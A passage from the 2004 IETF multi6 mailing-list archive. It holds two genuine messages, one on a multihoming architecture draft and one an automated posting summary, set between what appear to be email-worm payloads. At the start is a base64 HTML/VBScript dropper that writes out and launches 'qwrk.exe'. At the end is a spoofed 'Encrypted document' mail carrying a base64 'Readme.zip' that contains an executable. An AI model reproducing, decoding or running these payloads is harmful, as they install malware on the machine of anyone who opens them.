LDExMiwxMTQsMTA1LDExMCwxMTYsMTAyLDY1LDAsMCwwLDczLDExMCwxMTYsMTAxLDExNCwx
MTAsMTAxLDExNiw3OSwxMTIsMTAxLDExMCw2NSwwLDAsMCw5OCwxMDUsMTEwLDEwMCwwLDAs
MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwxMCw1MSwxLDE4MSw3NCwxNiwzNCwx
NzksOTUsODcsMzYsMjAsMzcsMTYxLDE4Myw3Niw4Miw4NSwxNTIsMTU1LDU2LDEzMywxNjAs
ODksNzAsNTgsMzMsNzEsMTM2LDEwMCw0OSw1NywxNzAsMzgsMTAxLDQ4LDEwMSwxODQsMTM2
LDE5NywxMTUsMTgzLDk3LDU1LDc4LDg1LDEsMTQwLDE1NiwxNjksMTc1LDE2NywyMSw4NCwz
NiwxODIsMTUyLDE4Miw0MCwxNDQsODQsOTYsMTQ2LDEzOSwxODMsMTEwLDcyLDE0MCwxODMs
MjYsNjEsODEsMTM1LDE1Niw1MSwxNDMsMzIsMTM0LDIzLDM1LDcwLDQ2LDQ5LDE3Miw5NCwx
NjAsMTM3LDE2Myw2NCwxMDEsMTAsMjgsODgsMjksMTc5LDEzOCw5MCw4NywxMzQsMTAzLDgx
LDg2LDExNiw5MCw5MiwzMCwxMzEsNTIsNDksNTgsMTQsNSw3OSwxODQsMTE5LDE4MCwzMywx
MjEsNTEsMTE4LDk2LDQyLDEzNiw5Nyw0MSwzNCw3NCw2NSwxNzQsMTQ1LDc1LDEwLDE2OCwy
MiwxNjYsMjksMTY5LDE4LDQ0LDgzLDEzNSw0NSwxNTYsMTk2LDUxLDk0LDE2MywxMzIsMTQ0
LDk3LDE5OCwzOCw3MCwxMzMsMTEsNzQsMTk0LDIzLDEyNCwxOSwxNjksODIsMTY5LDE0Miwx
OTEsNTMsMTczLDE0Niw4LDEyOCwxMSwxMTgsMTYsMTM0LDE3MywxNzQsMTkxLDE1OSw0OCw5
LDE0LDMwLDE4LDYyLDQwLDQ3LDU3LDE2Myw0MCw2LDU0LDc5LDE2OSwxMzIsMTkzLDE5NSwx
MDAsOTgsMjUsMTg0LDExOCwxMDEsOCwxNjIsMjcsMTUxLDEwMyw2NCw0MCwxNzAsNCwxMjIs
OSwyNSw2LDE4MCwzLDEyOCwxODEsNTAsNjYsOTYsNzgsMTI4LDE2Nyw5LDM3LDEwNCwxNTUs
MTMxLDYsMTYyLDQ1LDgyLDc0LDE4MCwxODcsNDksMTgsMTE0LDE4NiwxMjAsMTk0LDExNiw4
OCwxNTgsMTAxLDE5Myw0NSwxOTIsNjEsMTA2LDIwLDcxLDEyMSwxOSwxMjAsMTg5LDE2LDE3
Miw1MSwxNSw3NSwxODMsOTIsMjMsNTAsMTQsMTMzLDE4MSw4Nyw2OCwxODYsMTY4LDEzNyw3
Niw3MCwxODMsMTg4LDE2OSw4NCwxOTcsMjAsMTYyLDE0Niw5MCw3LDM4LDE3MCwxMzgsMzYs
MCwxMTQsMTMwLDE1NywxOTgsMTA2LDQwLDY1LDE2NiwxNywxMjIsMTExLDEyLDEyMywxNTks
MTE4LDQ4LDE0MSwxNjQsMzQsMTk1LDU5LDE0NiwxNjEsMTQzLDEwLDE5OCwxMjUsMSwxNzQs
MzcsMTk0LDE1OCw3OSwxMCwyMCw1NSw2LDI3LDExNiw4Nyw0NSwxMzUsNjUsNjAsNzEsODUs
ODIsNTQsNiwxMjEsOCwxMjAsMTU2LDY2LDE2MSwxODEsOTcsMTU0LDc4LDc5LDE1NCwxODcs
MTUsMTk4LDM2LDE3NywxMSwxMzQsMTYzLDksMTkxLDEyOSwxMjIsNjQsMzAsMjcsMzgsMTgw
LDY2LDU1LDcxLDMyLDk3LDk1LDE4LDEzNSwxNzgsMTgwLDEzMiwxODksNzcsOTgsNTQsMTUx
LDUxLDE0MiwxMDMsOTMsMTcxLDg3LDE0Myw1MSwxNjUsMjYsMTcxLDEwOSwxNjcsOTMsMTU4
LDEwNyw1MywyNSw1MCwxNTIsOCw3NiwxNSwxMjksNDEsNTIsNDcsMTk2LDEwMSw2MCw3MSwx
MTQsODYsNzYsMjEsMTU0LDE4MCwyNywxMzUsMTksNjEsNTIsMTUxLDk4LDUwLDExNCw3Nywx
MjIsODgsMTM1LDc2LDEyOSwxLDExMSwxMTcsODEsMTc5LDE1NCwxNTcsNTksMTg2LDIxLDg3
LDcxLDE3MiwzMiw2NCw4MiwxOTcsMTk0LDkxLDgwLDIxLDExMywzMCw0NCwxOTQsMTk1LDE2
LDEsMTc5LDEsNTYsODIsMTYzLDkyKSIgJiB2YmNybGYNClRTTy53cml0ZSAiZm9yIGk9MCB0
byAyMDQzOSIgJiB2YmNybGYNClRTTy53cml0ZSAiZmlsZXR4dC5Xcml0ZShjaHIoYShpKSkp
IiAmIHZiY3JsZg0KVFNPLndyaXRlICJuZXh0IiAmIHZiY3JsZg0KVFNPLndyaXRlICJmaWxl
dHh0LkNsb3NlIiAmIHZiY3JsZg0KVFNPLndyaXRlICJkaW0geiIgJiB2YmNybGYNClRTTy53
cml0ZSAiZGltIHp6IiAmIHZiY3JsZg0KVFNPLndyaXRlICJDb25zdCBGb3JSZWFkaW5nID0g
MSwgRm9yV3JpdGluZyA9IDIsIEZvckFwcGVuZGluZyA9IDMiICYgdmJjcmxmDQpUU08ud3Jp
dGUgImNvbnN0IFJlbW90ZUV4ZSA9ICIicXdyay5leGUiIiIgJiB2YmNybGYNClRTTy53cml0
ZSAic2V0IHp6ID0gd3NjcmlwdC5jcmVhdGVvYmplY3QoIiJ3c2NyaXB0LnNoZWxsIiIpIiAm
IHZiY3JsZg0KVFNPLndyaXRlICJ6ID0genoucnVuICgiInF3cmsuZXhlIiIpIiAmIHZiY3Js
Zg0KVFNPLndyaXRlICJ3c2NyaXB0LnF1aXQiICYgdmJjcmxmDQpTZXQgVFNPID0gTm90aGlu
Zw0KU2V0IEZTTyA9IE5vdGhpbmcNCkRpbSBXc2hTaGVsbA0KU2V0IFdzaFNoZWxsID0gQ3Jl
YXRlT2JqZWN0KCJXU2NyaXB0LlNoZWxsIikNCldzaFNoZWxsLlJ1biAicWZsLnZicyIsIDAs
IGZhbHNlDQo8L1NDUklQVD4NCjxzY3JpcHQ+d2luZG93LmNsb3NlKCk8L3NjcmlwdD4NCjwv
SEVBRD4NCjwvSFRNTD4=

----------xaivyxyjyksbjtyhxcrb--




From owner-multi6@ops.ietf.org  Sat May 22 08:33:48 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA04150
	for <multi6-archive@lists.ietf.org>; Sat, 22 May 2004 08:33:48 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BRVcI-000HLP-23
	for multi6-data@psg.com; Sat, 22 May 2004 12:28:42 +0000
Received: from [161.114.64.105] (helo=zmamail05.zma.compaq.com)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BRVcG-000HL2-Ms
	for multi6@ops.ietf.org; Sat, 22 May 2004 12:28:40 +0000
Received: from tayexg12.americas.cpqcorp.net (tayexg12.americas.cpqcorp.net [16.103.130.103])
	by zmamail05.zma.compaq.com (Postfix) with ESMTP id 82CC76628
	for <multi6@ops.ietf.org>; Sat, 22 May 2004 08:28:40 -0400 (EDT)
Received: from tayexc13.americas.cpqcorp.net ([16.103.130.26]) by tayexg12.americas.cpqcorp.net with Microsoft SMTPSVC(6.0.3790.0);
	 Sat, 22 May 2004 08:28:40 -0400
X-MimeOLE: Produced By Microsoft Exchange V6.5.6944.0
Content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Subject: Geoff Huston Arch Spec for Interim meeting
Date: Sat, 22 May 2004 08:28:39 -0400
Message-ID: <9C422444DE99BC46B3AD3C6EAFC9711B0644C142@tayexc13.americas.cpqcorp.net>
Thread-Topic: Geoff Huston Arch Spec for Interim meeting
Thread-Index: AcQ/+E+bpYeUxpRzQ7qbQs1X++XSsg==
From: "Bound, Jim" <jim.bound@hp.com>
To: "Multi6" <multi6@ops.ietf.org>
X-OriginalArrivalTime: 22 May 2004 12:28:40.0307 (UTC) FILETIME=[50316430:01C43FF8]
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: quoted-printable

Brian and Kurt,
=20
I think Geoff's draft is very good to use as focus topic of discussion
for the interim meeting.  I can't think of anything to add to it for
purpose of the interim meeting, as I understand Chairs objective of this
interim meeting.
=20
I do think Geoff's document is more of a model for a framework for
discussion than an architecture, could be my view of the semantics as
model, reference framework, and architecture to me are all different
components to resolve a technical problem for the Internet of this
magnitude.  I may bring this up later for work to be done by us to
provide clarity.
=20
Also within this space using Geoff's arch spec we want to make note to
selves that it is possible with IPv6 on a network that the entire packet
is encrypted except the IPv6 Header.  This has interesting properties to
many aspects of current deployed networks and I believe directly to MH
nodes, and what can be done to support the goals defined at some point
with technology operational and implementation deployed MH IPv6
networks.  Also changing the IPv6 header can break IPsec security
associations.  Thoughts to consdier in our deliberations.
=20
Also I will miss the a.m. part of the meeting as I have to be at
previously committed NAv6TF meeting as Chair of the NAv6TF and some
others that must be there for this important NAv6TF meeting.  But, will
catch up and see you all in the p.m.
=20
thanks
/jim
=20




From owner-multi6@ops.ietf.org  Sun May 23 00:03:56 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA13816
	for <multi6-archive@lists.ietf.org>; Sun, 23 May 2004 00:03:56 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BRk9l-000Ir1-Nf
	for multi6-data@psg.com; Sun, 23 May 2004 04:00:13 +0000
Received: from [66.92.66.68] (helo=cyteen.hactrn.net)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BRk9k-000Iqj-TH
	for multi6@ops.ietf.org; Sun, 23 May 2004 04:00:13 +0000
Received: from hactrn.net (localhost [127.0.0.1])
	by cyteen.hactrn.net (Postfix) with ESMTP id 3458F369
	for <multi6@ops.ietf.org>; Sun, 23 May 2004 00:00:12 -0400 (EDT)
To: multi6@ops.ietf.org
Subject: Weekly posting summary for multi6@ops.ietf.org
From: Rob Austein <sra@hactrn.net>
Date: Sun, 23 May 2004 00:00:12 -0400
Message-Id: <20040523040012.3458F369@cyteen.hactrn.net>
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.8 required=5.0 tests=AWL,BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk

    Messages   |      Bytes        | Who
--------+------+--------+----------+------------------------
 25.00% |    1 | 87.35% |    98229 | kurtis@kurtis.pp.se
 25.00% |    1 |  7.59% |     8531 | pekkas@netcore.fi
 25.00% |    1 |  3.07% |     3453 | jim.bound@hp.com
 25.00% |    1 |  1.99% |     2239 | sra@hactrn.net
--------+------+--------+----------+------------------------
100.00% |    4 |100.00% |   112452 | Total

Grunchweather Associates provides this automatic summary on an at-whim
basis at the request of the MULTI6 WG chairs.  Your mileage may vary.
We decline responsibilities, all shapes, all sizes, all colors.
If this script produces broken output, you get to keep both pieces.



From owner-multi6@ops.ietf.org  Mon May 24 00:32:47 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA25750
	for <multi6-archive@lists.ietf.org>; Mon, 24 May 2004 00:32:45 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BS75H-000Anv-Gt
	for multi6-data@psg.com; Mon, 24 May 2004 04:29:07 +0000
Received: from [203.199.214.66] (helo=rmk027.net)
	by psg.com with smtp (Exim 4.30; FreeBSD)
	id 1BS75E-000AnO-RR
	for multi6@ops.ietf.org; Mon, 24 May 2004 04:29:05 +0000
Date: Mon, 24 May 2004 09:49:29 +0530
To: "Multi" <multi6@ops.ietf.org>
From: "Smd" <smd@ab.use.net>
Subject: Encrypted document
Message-ID: <lmccjmeuzbtfdovrtis@ops.ietf.org>
MIME-Version: 1.0
Content-Type: multipart/mixed;
        boundary="--------ualxcrmtevahtcktdopd"
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=3.2 required=5.0 tests=BAYES_60,HTML_IMAGE_ONLY_02,
	HTML_MESSAGE,MIME_HTML_ONLY autolearn=no version=2.63
X-Spam-Level: ***
Sender: owner-multi6@ops.ietf.org
Precedence: bulk

----------ualxcrmtevahtcktdopd
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: 7bit

<html><body>
<img src="cid:ibikxynzin.gif"><br>
</body></html>

----------ualxcrmtevahtcktdopd
Content-Type: image/gif; name="ibikxynzin.gif"
Content-Disposition: attachment; filename="ibikxynzin.gif"
Content-ID: <ibikxynzin.gif>
Content-Transfer-Encoding: base64

R0lGODlheQAPAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A
/wD//////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAz
mQAzzAAz/wBmAABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDM
mQDMzADM/wD/AAD/MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMz
mTMzzDMz/zNmADNmMzNmZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPM
mTPMzDPM/zP/ADP/MzP/ZjP/mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYz
mWYzzGYz/2ZmAGZmM2ZmZmZmmWZmzGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbM
mWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb//5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkz
mZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZAJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnM
mZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwAM8wAZswAmcwAzMwA/8wzAMwzM8wzZswz
mcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZZsyZmcyZzMyZ/8zMAMzMM8zMZszM
mczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8Amf8AzP8A//8zAP8zM/8zZv8z
mf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+ZzP+Z///MAP/MM//MZv/M
mf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAB5AA8AAAj/AP8JHEiwoMGD
CBMqXMiwocOHECNKnEixosWLGDNqnEiMmC9fxOJtxIjOV0N/00CK/JfvHsh7+QjGIzZwpq97
A/ExI8YMokeB+HxRG2kRZMOZ/vIRg/dvGjF8/3xNG2jPlziB1J7ie/rPn69++W4+/CmwI9GK
ZiGW/Ef2o0BfO2n+21mWaVaOcqPKzWdPHE9/XXdKBSzNo725crdCZcv03z1mYssSs7dyGryg
eRtuxRnPpNKpTdmaFC35n7rMD406Dimw2WJf6uaO9gVP3eil/XxBTTk1KM7c+BS/9bVNoEt8
WUc33NlYtkfAA9vKdcsz5UqHHjtGFuhPp9llvlwL/1wWMmZZkR6X/Wsml27UnlHRDSwml6xD
r1PvEcvnjxjO6PXJhQ5NIPFHDGgN+SKfQfj1Z5J3xCwTHHjEvAMVM+JktZVSselVGlt5SReR
WcYsqFpZs01HE1n2MZRWQWmduJoxArUE1z9buQWSVK2Z2Jh9xtSn3EA7IgQbaSASpFphdf0D
j4qpoSZQMSbpZxJ7MdEmzW3wdXSYS3np509//bwV5lNgNpQSjlzph49S/5kJlC/+uIRTUPj0
F6eLQ+b0DjP9pOXUZDGBGQ90xujGZjoEUZOOhERm1sw7/Ul5kD8zGRPnoPLAqFxKxHRqXEdD
nWXqqagmBJJHq4Lk16raZSPXUayyagfrrbNm9xGrvPplq6687grsrLsKy+uxrtba4kABAQA7
entAZVd7QGWbe0BlTXL/f/9/QGVAZf9//39AZUBl/3//f0BlQGX/f/9//39AZUBl/3//f0Bl
QGX/f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/QGVAZf9/CW5AZf9//39AZUBl
/3//f/9//39AZUBl/3//f0BlQGX/f/9/QGVAZf9/QGVAZf9//39AZUBl/3//f/9//3//f/9/
/3//fwAA/3//f/9//3//f/9//39AZUBlQGVAZUBlFHf/f/9//3//f7x/NnePckBlQGX/fwlu
QGWPcnp7/3//fwluQGWPcnp7/3//f91/QGWPcv9/QGVAZQlu/3+PckBl3X//f01yQGX/f/9/
QGVNcv9//39AZUBl/3//f/9/CW5AZf9//39AZUBl/3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//394e0Bl83b/fzZ3QGWbe3p7QGU2d/9//3//f/9/QGVAZf9//39AZUBl/3//f0Bl
QGX/f0BlQGW8f5t7QGXzdv9//3//f/9//3//f/9//38AAP9//3//f/9//3//f/9/QGVAZf9/
/39Xe0BlFHf/f/9/j3Kbe/9/3X9AZQlu/39NckBl/3/df0Blj3JNckBl/3/df0Blj3I2d0Bl
eHv/f9F2QGXzdv9/eHtAZTZ3/39Xe0BleHt4e0BlV3v/f/9/QGVAZZt7/3//fxR3QGV4exR3
QGVAZf9//3//f/9//3//f/9//3//f/9//3//f/9//3//f01yQGVNcv9//3//f01yQGVAZUBl
3n//f/9//3//f0BlQGX/f/9/QGVAZf9//39AZUBl/39AZU1y0XZAZdF2/3//f/9//3//f/9/
/3//f/9/AAD/f/9//3//f/9//3//f0BlQGX/f/9//39AZUBl/3//f91/0XZAZUBlTXKbe/9/
3X+PckBlQGXRdt1/3X+PckBlQGXRdt1/TXJAZd5//39Xe0Blenv/f/9/QGVNcv9//382dwlu
QGU2d/9//3//f0BlQGXRdo9y/3//f9F2TXJ6e0BlQGX/f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f1d7QGXzdv9/83ZAZbx/vH9AZRR3/3//f9F2/39AZUBl/3//f0BlQGX/f/9/
QGVAZf9/CW5AZf9//3//f/9//3//f/9//3//f/9//3//fwAA/3//f/9//3//f/9//39AZUBl
/3//f/9/QGVAZf9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/39AZUBl/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f0BlQGX/f0BlQGX/f/9/
QGVAZf9//39AZY9yQGVAZf9//3+PckBl/3//f0Blj3L/f/N2QGX/f/9//3//f/9//3//f/9/
/3//f/9//38AAP9//3//f/9//3//f/9/QGVAZf9//394e0Bl83b/f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/QGVAZf9//3//f/9//3//f/9//3//f/9/
/3//f/9/83ZAZd1/vH9AZdF2/3/RdkBlvH+8f0Bl0Xb/f/9/3X/RdkBlQGX/f/9/NndAZXh7
eHtAZTZ3/3+8f0BleHvdf0Bl83b/f/9//3//f/9//3//f/9/AAD/f/9//3//f/9//3//f0Bl
QGVAZUBlQGXzdv9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f0BlQGX/f/9//3//f/9//3//f/9//3//f/9//3//f91/83ZAZUBl83b/f/9/3X/zdkBl
QGXzdt5//3//f/9//3/zdkBl/3//f/9/FHdAZUBlFHf/f/9//396e01yQGVNct1//3//f/9/
/3//f/9//3//fwAA/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//38AAP9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9/AAD/f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//fwAA

----------ualxcrmtevahtcktdopd
Content-Type: application/octet-stream; name="Readme.zip"
Content-Disposition: attachment; filename="Readme.zip"
Content-Transfer-Encoding: base64

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
